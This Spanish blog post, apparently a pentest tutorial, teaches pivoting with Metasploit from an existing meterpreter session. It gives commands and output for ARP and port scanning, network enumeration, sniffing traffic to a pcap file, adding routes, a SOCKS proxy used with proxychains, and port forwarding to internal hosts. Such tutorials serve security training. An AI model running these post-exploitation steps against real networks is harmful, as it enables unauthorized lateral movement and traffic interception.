Taller de pivoting: Metasploit

Hoy vamos a empezar con una serie de entradas relacionadas con el pivoting: el proceso de acceder a redes a las que no tenemos acceso en circunstancias normales mediante el uso de computadoras comprometidas. Como punto de partida necesitaremos tener acceso a una máquina comprometida en la red objetivo, dependiendo de la configuración del equipo de la víctima, es posible que necesitemos o no tener root o privilegios de administrador.

En este post vamos a suponer que nosotros somos el atacante y hemos conseguido una sesión de meterpreter sobre la máquina de la víctima.

En una auditoría de caja negra o una intrusión real, lo normal es que no tengamos nada de información del entorno por lo que tendremos que llevar a cabo el descubrimiento y la enumeración inicial. Para ello empezaremos con arp_scanner, un script de meterpreter muy útil para identificar los host vivos dentro de la subred:
meterpreter > run arp_scanner -r 192.168.2.0/24
[*] ARP Scanning 192.168.2.0/24
[*] IP: 192.168.2.1 MAC 64:68:c:45:71:88
[*] IP: 192.168.2.43 MAC 4c:f:6e:e9:7f:16

En el caso de que partamos de un equipo Windows, una buena opción es ver las conexiones y los puertos abiertos mediante el módulo de gathering tcp_netstat:
msf > use post/windows/gather/tcpnetstat
msf post(tcpnetstat) > sessions
    ...sessions...
msf post(tcpnetstat) > set SESSION <session-id>
msf post(tcpnetstat) > show options
    ...show and set options...
msf post(tcpnetstat) > run

O si el target inicial es Linux tenemos otro módulo muy completo Linux Gather Network Information que recopila información de red de las reglas de IPTables del sistema de destino, interfaces, información de la red inalámbrica, puertos abiertos y de escucha, conexiones de red activas, información DNS e información SSH.
use post/linux/gather/enum_network
msf post(linux/gather/enum_network) > set sessions 5
sessions => 5
msf post(linux/gather/enum_network) > exploit

[-] Post failed: Msf::OptionValidateError The following options failed to validate: SESSION.
[*] Post module execution completed
msf post(linux/gather/enum_network) > show options

Module options (post/linux/gather/enum_network):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION  1                yes       The session to run this module on.

msf post(linux/gather/enum_network) > set session 5
session => 5

msf post(linux/gather/enum_network) > run

Para seguir descubriendo información de la red objetivo y ver otras redes adyacentes, puede ser interesante usar un sniffer. Metasploit también incluye un módulo que puede esnifar paquetes del sistema de destino sin escribir en el sistema de archivos o instalar ningún controlador. Además, el módulo excluye automáticamente su propio tráfico de control de la captura de paquetes.
meterpreter > use sniffer
Loading extension sniffer...success.

meterpreter > sniffer_interfaces
1 - 'VMware Accelerated AMD PCNet Adapter' ( type:0 mtu:1514 usable:true dhcp:true 

meterpreter > sniffer_start 1 300000
[*] Capture started on interface 1 (300000 packet buffer)

meterpreter > sniffer_stats 1
[*] Capture statistics for interface 1
        bytes: 17675
        packets: 196

meterpreter > sniffer_dump 1 /tmp/capture.cap
[*] Dumping packets from interface 1...
[*] Wrote 536 packets to PCAP file /tmp/capture.cap

meterpreter > sniffer_stop 1
[*] Capture stopped on interface 1

Y, cómo no, la opción más clásica de descubrimiento de sistemas en el mismo rango de red es el típico escáner de puertos, para lo que Metasploit dispone de un módulo auxiliar con cinco escáneres diferentes para detectar las máquinas presentes y los servicios que corren:
  • ack – ACK Firewall Scanner
  • ftpbounce – Bounce Port Scanner
  • syn – SYN Port Scanner
  • tcp – Port Scanner
  • xmas  – “Xmas” Port Scanner
msf exploit(handler) > use auxiliary/scanner/portscan/tcp 
msf auxiliary(tcp) > set RHOSTS 192.168.2.43
RHOSTS => 192.168.2.43
msf auxiliary(tcp) > set PORTS 1-1024
PORTS => 1-1024
msf auxiliary(tcp) > run

Ahora bien, si queremos escanear desde Metasploit los servicios pertenecientes a otras máquinas fuera del segmento de red de la máquina comprometida, tendremos que añadir previamente las rutas correspondientes:
meterpreter > route add 192.168.33.0/24 5
[*] Route added
meterpreter > route print

IPv4 Active Routing Table
=========================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.33.0         255.255.255.0      Session 5

[*] There are currently no IPv6 routes defined.

Adicionalmente disponemos de autoroute automatiza la adicción de las rutas asociadas con la sesión Meterpreter especificada a la tabla de enrutamiento de Metasploit.

meterpreter > run autoroute -s 192.168.33.0/24

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.33.0/255.255.255.0...
[+] Added route to 192.168.33.0/255.255.255.0 via 10.10.10.65
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p

[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]

Active Routing Table
====================

   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.33.0         255.255.255.0      Session 5

Luego para que otras aplicaciones tengan acceso a las rutas, se necesita un poco más de configuración. Esto implica la configuración del módulo de proxy Socks4a de Metasploit y el uso de Proxychains junto con las otras aplicaciones.
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
set LPORT 1080
exploit -j

El fichero de configuración de Proxychains está localizado por defectp en /etc/proxychains.conf:
socks4 127.0.0.1 1080

Ahora podemos combinar Proxychains con otras aplicaciones como Nmap, Nessus, Firefox y otras para escanear o acceder a máquinas y recursos a través de las rutas Metasploit.
$ sudo proxychains nmap -n -sT- sV -PN -p 445 10.10.125.0/24

A veces no obtenemos buenos resultados con algunos programas y proxychains. Para estos casos, podemos reenviar los puertos de una determinada máquina a nuestro ordenador. Al ejecutar portfwd en un host comprometido con acceso tanto al atacante como a la red (o sistema) de destino, podemos básicamente reenviar conexiones TCP a través de esta máquina.
msf > sessions -i 1
meterpreter > portfwd add -l 8000 -p 80 -r 192.168.15.1
[*] Local TCP relay created: 0.0.0.0:8000 <-> 192.168.15.1:80
meterpreter > portfwd add -l 8010 -p 80 -r 192.168.15.5
meterpreter > portfwd add -l 25000 -p 22 -r 192.168.15.2
[*] Local TCP relay created: 0.0.0.0:25000 <-> 192.168.15.2:22

Ahora, abrimos un navegador local y podemos acceder a localhost con la siguiente URL:

http://127.0.0.1:8000

Y hasta aquí esta primera entrada de pivoting mediante Metasploit. En las siguientes entradas veremos más técnicas y herramientas para pivotar y poder así conseguir movimiento lateral y avanzar en intrusiones.

Comentarios

Publicar un comentario